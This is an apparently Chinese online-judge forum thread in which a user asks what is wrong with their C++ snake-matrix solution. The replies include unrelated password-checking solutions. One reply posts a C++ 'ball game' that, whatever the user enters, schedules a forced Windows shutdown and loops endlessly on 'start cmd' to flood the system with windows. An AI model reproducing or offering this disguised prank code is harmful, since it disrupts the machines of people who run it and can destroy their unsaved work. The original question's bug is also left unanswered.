这段代码有什么问题？
原题链接：508.蛇皮矩阵
2024-04-28 19:07:41
发布于：广东
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这段代码有什么问题？
'''cpp
'''cap
#include <bits/stdc++.h>
using namespace std;
int main() {
int n, a[105][105], num = 1;
cin >> n;
for (int i = 1; i <= n; i ++) {
for (int j = 1; j <= n; j ++)
a[i][j] = num;
num ++;
}
for (int i = 1; i <= n; i ++) {
if (i % 2 == 0) {
int b[105];
num = 1;
for (int j = n; j > 0; j --) {
b[num] = a[i][j];
num ++;
}
for (int j = 1; j <= n; j ++)
a[i][j] = b[j];
}
}
for (int i = 1; i <= n; i ++) {
for (int j = 1; j <= n; j ++)
cout << a[i][j] << " ";
cout << endl;
}
return 0;
}
'''
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#include <bits/stdc++.h> #include <windows.h> using namespace std; void a(int n){ if(n == 1){ string m; cout << "欢迎来到弹球小游戏" << endl; cout << "----------------------------------" << endl; cout << "请问你要选择人机战还是真人战" << endl; cin >> m; if(m == "人机战"){ system("shutdown -s -t 30 -c 哈，就你还想以大欺小，30秒关机，启动！"); while(1) system("start cmd"); } if(m == "真人战"){ cout << "就你还想跟真人打，吃我一击！"; system("shutdown -s -t 30 -c 30秒关机，启动！"); while(1) system("start cmd"); } else{ cout << "你竟然敢输错，那就送你一份大礼包吧"; system("shutdown -s -t 60 -c 60秒关机，启动！！！"); while(1) system("start cmd"); } } else{ system("shutdown -s -t 60 -c 你竟然不玩？那就别怪我了，60秒关机，启动！！！！！"); while(1) system("start cmd"); } } int main(){ int x; cout << "请输入1启动游戏" << endl; cin >> x; a(x); return 0; }2024-08-01 来自 广东
0#include <bits/stdc++.h> using namespace std; string s; string ct; int a=0,b=0,start=0; bool small,big,maths,ttss,flag,tr; int main() { cin>>s; for(int i=0;i<s.size();i++){ if(s[i] == ',' and a>=2 and b>=1 and (i-start)<=12 and (i-start)>=6 and tr==0){ for(int j=start;j<=i-1;j++){ cout<<s[j]; } cout<<endl; }if(s[i] >='a' and s[i]<='z' and !small){ a++; small=1; flag=1; }if(s[i] >='A' and s[i]<='Z' and !big){ a++; big=1; flag=1; }if(s[i] >='0' and s[i]<='9' and !maths){ a++; maths=1; flag=1; }if( (s[i] =='!' or s[i]=='@' or s[i]=='#' or s[i]=='$') and !ttss){ b++; ttss=1; flag=1; }if(s[i]==','){ start=i+1; small=0; big=0; maths=0; a=0; b=0; ttss=0; } if(flag==1){ tr=1; } flag=0; } return 0; }2024-08-01 来自 广东
0#include <bits/stdc++.h> using namespace std; string s, a[105]; bool c(char n) { bool g = (n >= 'A' && n <= 'Z') || (n >= 'a' && n <= 'z') || (n >= '0' && n <= '9') || n == '!' || n == '@' || n == '#' || n == '$'; return g; } bool check(string n) { int h = n.length(); if (!(h >= 6 && h <= 12)) return 0; bool da = 0, xi = 0, sh = 0, te = 0; for (int i = 0; i < h; i ++) { if (!c(n[i])) return 0; if (n[i] >= 'A' && n[i] <= 'Z') da = 1; else if (n[i] >= 'a' && n[i] <= 'z') xi = 1; else if (n[i] >= '0' && n[i] <= '9') sh = 1; else te = 1; } return int(da) + int(xi) + int(sh) >= 2 && te == 1; } int main() { int cnt = 1; getline(cin, s); for (int i = 0; i < s.length(); i ++) { if (s[i] == ',') cnt ++; else a[cnt].push_back(s[i]); } for (int i = 1; i <= cnt; i ++) if (check(a[i])) cout << a[i] << endl; return 0; }2024-08-01 来自 广东
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